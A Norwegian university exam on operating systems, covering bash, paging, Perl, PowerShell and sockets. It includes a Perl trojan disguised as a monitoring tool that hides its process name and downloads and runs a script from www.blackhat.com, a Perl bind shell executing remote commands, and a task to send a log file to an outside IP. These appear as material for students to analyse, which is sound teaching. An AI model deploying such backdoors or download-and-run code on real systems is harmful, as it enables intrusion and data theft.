Oppgave 1 - Bash og prosesser (25%)
a) Skriv en bash-kommando som legger resultatet av kommandoen pwd
i filen /tmp/pwd
b) Skriv et bash-script arg.bash
som tar to argumenter og skriver dem ut med ordet og
i mellom.
Eksempel på hvordan en kjøring skal se ut:
$ ./arg.bash En To En og To
c) Anta at du har kompilert et CPU-intensivt Java-program Calc.java
som gjør en matematisk
beregning og bruker så mye CPU som det er mulig å få tilgang til. Skriv et bash-script
med navn run
som setter igang dette Java-programmet på en Linux-maskin.
d) Hvordan kan du da fra kommandolinjen i et bash-shell starte to uavhengige prosesser
run
som kjører samtidig?
e) Disse to uavhengige prosesser som kjører på en maskin med èn CPU. Forklar kort om et multitasking operativsystem vil gjøre at det går raskere å fullføre disse prosessene når de startes samtidig, sammenlignet med om de kjører etter hverandre.
f) Du skriver nå om Java-koden og lager et program som lager to tråder (Java threads) som begge gjør den samme regnejobben. Du starter nå Java-programmet på samme maskin. Sammenlign kort denne måten med å kjøre to uavhengige Java-prosesser som i de forrige delspørsmålene.
g) Forklar kort hva som skjer når du starter det samme Java-programmet med to tråder på en maskin med en like rask CPU, men som er hyperthreading. Vurder kort om dette vil gå fortere.
h) Datalærer H prøver på en forelesning 1. april å overbevise studentene sine om at
han med et lite perlscript kan få en datamaskin til å forstå muntlige kommandoer. Han
starter først perlscriptet som egentlig ikke gjør noen ting i et bash-shell på storskjerm i forelesningssalen.
Dette shellet har TTY nummer pts/3.
Uten at studentene merker noe setter lærer H så opp en
skype-samtale med enn annen og medsammensvoren lærer K som dermed hører alt som blir sagt i timen.
Denne lærer K har via ssh et annet bash-shell oppe på samme maskin. Hver gang lærer H sier en kommando høyt i klassen,
taster lærer K inn kommandoen til et lite script som tidligere er startet med kommandoen $ ./april.bash 3
.
Scriptet april.bash
ser slik ut:
#! /bin/bash tty=$1 while [ true ] do read in $in > /dev/pts/$tty $in doneForklar kort hva dette scriptet gjør og hvilken effekt det har når den medsammensvorne lærer K skriver inn kommandoene han hører over skype-forbindelsen til dette scriptet.
i) Når lærer H sier høyt en kommando som ikke finnes, for eksempel lst
, kommer det ikke opp noen feilmelding
på storskjermen slik det burde. Forklar kort hvorfor bare lærer K ser denne feilmeldingen og hvordan scriptet kunne vært
endret slik at studentene fikk se denne feilmeldingen også.
Oppgave 2 - Internminne (20%)
a) Det er forskjell på hvor lang tid det tar for en CPU å hente data fra lagringsenhetene RAM, CPU-cache og harddisk. Omtrent hvor lang tid tar det for CPU å hente data fra disse tre enhetene, sammenlignet med tiden det tar å hente data fra registerne?
b) Forklar kort hvordan paging gjør det mulig å flytte deler av minnet for en prosess ut og inn av RAM.
c) Ved paging, kan det være forskjell på hvor instruksjonene legges når de ikke er i RAM og hvor prosessens data og variabler legges? Forklar kort.
d) CPU utfører en x86-instruksjon som henter en byte fra RAM og legger den i et register. Vil CPU-cache kunne involveres når denne instruksjonen utføres? Forklar kort.
e) CPU utfører en x86-instruksjon som sammenligner tallene i to registere. Vil CPU-cache kunne involveres når denne instruksjonen utføres? Forklar kort.
f) En liten CPU bruker 10-bits registere til å adressere en byte i internminnet. Hvor stort er da det virtuelle adresserommet som kan adresseres med disse 10-bit adressene?
g) Det virtuelle adresserommet for alle prosesser på det samme systemer er delt inn i sider (pages) med en sidestørrelse på 128 bytes. Hvor mange sider utgjør det virtuelle adresserommet til en prosess?
h) Det fysiske minnet (RAM) som denne CPUen er koblet til er på bare 1 KByte. Forklar kort for dette eksempelet om virtuelt minne kan gjøre det mulig å kjøre et program som er på 2 KByte og dermed for stort for RAM.
i) Hva tar lengst tid, en cache miss eller en page fault? Er forskjellen i tid det tar stor? Forklar kort.
j) I et C-program er et integer array med plass til 200 millioner heltall deklarert. Når man bruker dette arrayet vil elementene array[0], array[1], array[2] og så videre legges etterhverandre i RAM. Den viktigste delen av programmet ser slik ut:
int i,j; for(i = 0;i < 2000000;i++){ j = i*100; array[i] = i; }Du kompilerer og kjører dette programmet og det fullføres svært raskt:
$ time a.out Real:0.016 User:0.004 System:0.012 97.26%Du endrer så kun indeksen
i
til j
i linjen der verdien skrives til arrayet slik at den blir array[j] = i;
.
Deretter kompilerer og kjører du programmet igjen og nå bruker det mye lengre tid:
$ time a.out Real:0.745 User:0.032 System:0.704 98.80%Diskuter kort mulige årsaker til at denne versjonen av programmet bruker mye lengre tid til tross for at det utfører det samme antall, to millioner, skriveoperasjoner til RAM.
Oppgave 3 - Perl (20%)
Mr. White jobber som sysadmin hos Norges Bank. Han får en dag mail fra
en gammel studiekamerat, Mr.Grey, som forteller at han har laget et nyttig lite
monitoreringsverktøy som kan kjøre i bakgrunnen og oppdage og fjerne spyware.
Programmet heter monitor.0
og ser slik ut:
@nm=split("[.]" ,$0); $nm[1]+=7; $newName="$nm[0].$nm[1]"; $newBin=$nm[1]; open(F1,"$0"); @f1=<F1>; close F1; unlink $0; &plugin; open(F2,">$newName"); foreach (@f1){ print F2 $_; } close F2; system "cp /usr/bin/perl ./$newBin"; system "./$newBin $newName &"; sleep 1; unlink $newBin; system "wget www.blackhat.com/~mrblack/config.php -O config.sh"; system "./config.sh"; sub plugin { $i or $i=0; $i++; print "Monitor $i running! \n"; #Put your own plugins here! sleep 60; }
Programmet kjøres med kommandoen $ perl monitor.0
.
En viktig egenskap ved monitor.0 er at det kan utvides. Mr.Grey har
skrevet en subrutine kalt "plugin" som foreløpig ikke gjør så mye. Her kan
Mr. White legge inn egne utvidelser. Mr. White husker Mr.Grey som en dyktig
programmerer og har lenge vært på utkikk etter et godt monitoreringsverktøy. Han
lagrer vedlegget og går i gang med å implementere utvidelser.
Han stoler på Mr.Grey, men føler allikevel at han burde undersøke
koden litt nærmere før han starter monitor på hovedserveren (ubuntu server
edition) til Norges Bankkkk.
Hint:
split("[.]")
splitter på tegnet punktum.
unlink
er en perl-kommando som fjerner en fil fra filsystemet.
$0
er en referanse til navnet på scriptet som kjører. Dette
gjelder både om scriptet startes med $ perl script.pl
og
$./script.pl
wget
henter ned innholdet fra en webside. Med argumentet -O minfil.txt
vil innholdet skrives til filen minfil.txt
a) Begynn med å undersøke subrutinen plugin
og forklar kort hva som
skjer.
b) Skriv en egen subrutine, kalt winlog
.
Rutinen skal åpne filen
~/powershellImport/syslog.txt
med perl-kommandoen open
og ved
hjelp av ren perl-kode (altså ikke bruk av bash script el. inne i perl-koden) finne ut om filen inneholder feilmeldinger. Mr.White har sørget for at feilmeldingene er linjer som begynner med ordet Error
, fulgt av et tall, for eksempel slik:
Error598:Attempted remote desktop login failed - wrong password for user Mr.Black!
Strømmen som åpnes skal lukkes etter bruk, på hensiktsmessig måte, og det skal skrives ut true
hvis fila inneholder feil, ellers false
.
c) Les igjennom programmet monitor.0
og beskriv punktvis hva programmet gjør. Uttrykk deg kort og konsist.
d) Anta at monitor.0
har kjørt i ti minutter. Hva ville prosessen hete?
Oppgave 4 - Powershell (20%)
I tillegg til flere store Unix-servere administrerer Mr. White noen
windowsmaskiner. Disse maskinene er det stadig problemer med og Mr. White har
derfor laget et script på hver maskin, som skriver ut relevant informasjon fra
hendelsesloggen og skriver den til en tekstfil. Til nå har han måttet hente
tekstfilen manuelt, men nå ser han muligheten for å skrive en plugin til
monitor.0
som henter dette ut automatisk.
I powershell-konsollet på en Windows 2008-server, gir kommandoen
PS C:\Logs> ls
følgende output:
Directory: Microsoft.PowerShell.Core\FileSystem::C:\Logs Mode LastWriteTime Length Name ---- ------------- ------ ---- -a--- 16.05.2011 08:00 11590 FIO_members.txt ----- 26.02.2011 07:00 1702 spooler_surveillance.txt -a--- 14.05.2011 07:56 12908 syslog.txt
Loggen skrives til filen syslog.txt
og for å finne ut hvilke muligheter
powershell gir, undersøker Mr. White nærmere, med en kommandoen
PS C:\Logs> ls syslog.txt | get-member
. Kommandoen gir følgende (utsnitt):
TypeName: System.IO.FileInfo Name MemberType Definition ---- ---------- ---------- AppendText Method System.IO.StreamWriter AppendText() CopyTo Method System.IO.FileInfo CopyTo(String de... ... set_CreationTime Method System.Void set_CreationTime(DateTime... set_LastAccessTime Method System.Void set_LastAccessTime(DateTime... set_LastWriteTime Method System.Void set_LastWriteTime(DateTime... ... CreationTime Property System.DateTime CreationTime {get;s... LastAccessTime Property System.DateTime LastAccessTime {get... LastWriteTime Property System.DateTime LastWriteTime {get;... Length Property System.Int64 Length {get;} Name Property System.String Name {get;} ...
a) Forklar hva som skjer i kommandoen over. Forklar også hvorfor det ikke ville gi mening å lage noe tilsvarende kommandoen Get-member
i bash. Uttrykk deg kort og konsist.
Mr. White ønsker nå å ta kopi av systemloggen. Kopiering av filen vil gjøre at aksesseringstidspunktet til filen endres i filsystemet, men fordi han ikke stoler helt på windows ønsker han å endre dette manuelt. Han skriver først et par kommandoer for å sjekke at han husker hvordan powershell håndterer tidspunkt:
PS C:\Logs> Get-date 16. mai 2011 07:56:48 PS C:\Logs>$time=Get-date PS C:\Logs>$time.Get-type() IsPublic IsSerial Name BaseType -------- -------- ---- -------- True True DateTime System.ValueTypeHan vet nå hvordan formatet på dagens dato ser ut, og prøver følgende, som gir feilmelding:
PS C:\TEMP> "syslog.txt".setLastAccessTime("16. mai 2011 07:56:48") Method invocation failed because [System.String] doesn't contain a method named 'setLastAccessTime'. At line:1 char:31 + "syslog.txt".setLastAccessTime( <<<< "16. mai 2011 07:56:48") PS C:\TEMP>
b) Les feilmeldingen nøye og forklar kort hva som gikk galt. Ser du flere ting som ikke er riktig?
c) Anta at du står i kommandolinjen og at du har gjort det som står nevnt over. Vis nå hvordan du ville gått frem for å endre aksesstidspunkt. Du kan gjøre dette i flere trinn, eller med en enkelt kommmando - det blir det samme.
Mr. White er ferdig med aksesstidspunktet og jobber nå med tidspunktet for siste endring.
d) I outputen fra kommandoen Get-member
, vist over, gis det to måter å hente ut tidspunktet fra filobjektet på. Angi hvilke, og forklar forskjellen på disse.
e) For hver av de to måtene, gi en kommando som lagrer tidspunktet for sist filen ble skrevet til, i variablen $lastChanged
.
f) Skriv et lite powershell-script som går igjennom filen syslog.txt
, og ser etter feilmeldinger, på samme format som i perl-scriptet over. Powershell-scriptet skal skrive ut true
hvis filen inneholder feilmeldinger, ellers false
.
Oppgave 5 - Perl sockets (15%)
Etter en tid blir Mr. White tilsendt et perl program som Mr. Gray ønsker han skal starte opp og la kjøre i bakgrunnen på hovedserveren til Norges Bank. Dette programmet skal gjøre det enklere å oppgradere programvaren. Programmet ser slik ut:
#! /usr/bin/perl use IO::Socket::INET; $socket = IO::Socket::INET->new(LocalPort => 5432,Listen => 5); while ($socketConnection = $socket->accept()){ $read = <$socketConnection>; $res = `$read`; print $socketConnection $res; close($socketConnection); }
a) Forklar kort og konsist hva dette programmet gjør og hvilke muligheter det gir til Mr. Gray om Mr. White lar det stå å kjøre på serveren.
b) Mr. Gray ba Mr. White om å sende IP-adressen til hovedserveren og det gjorde han, den er 10.0.0.8. Han spør også om Mr. White har internett-tilgang og det har han; han når internett fra en nettleser på serveren. Men Mr. Gray var ikke fornøyd, han fikk tidligvis ikke til å oppgradere programvaren. Forklar kort hva årsaken kan være til at Mr. Gray ikke er fornøyd. Hvilke endringer i gatewayen inn til nettverket der serveren går kunne vært gjort for å løse problemet?
c) Nettverksdrift i Norges Bank vil ikke hjelpe til med å løse problemet.
Mr. Gray ønsker da istedet å sende et plugin til Mr. White som når det starter
kobler seg til TCP-port 5432 på hans IP-adresse 55.127.38.115, sender filen
~/powershellImport/syslog.txt
over socketforbindelsen og så avslutter.
Skriv den delen av plugin'et som gjør dette.
d) Etter at Mr. White installerer dette plugin'et blir Mr. Gray fornøyd. Forklar kort hvorfor denne løsningen virker bedre enn den opprinnelige løsningen der serveren kjører i Norges Bank.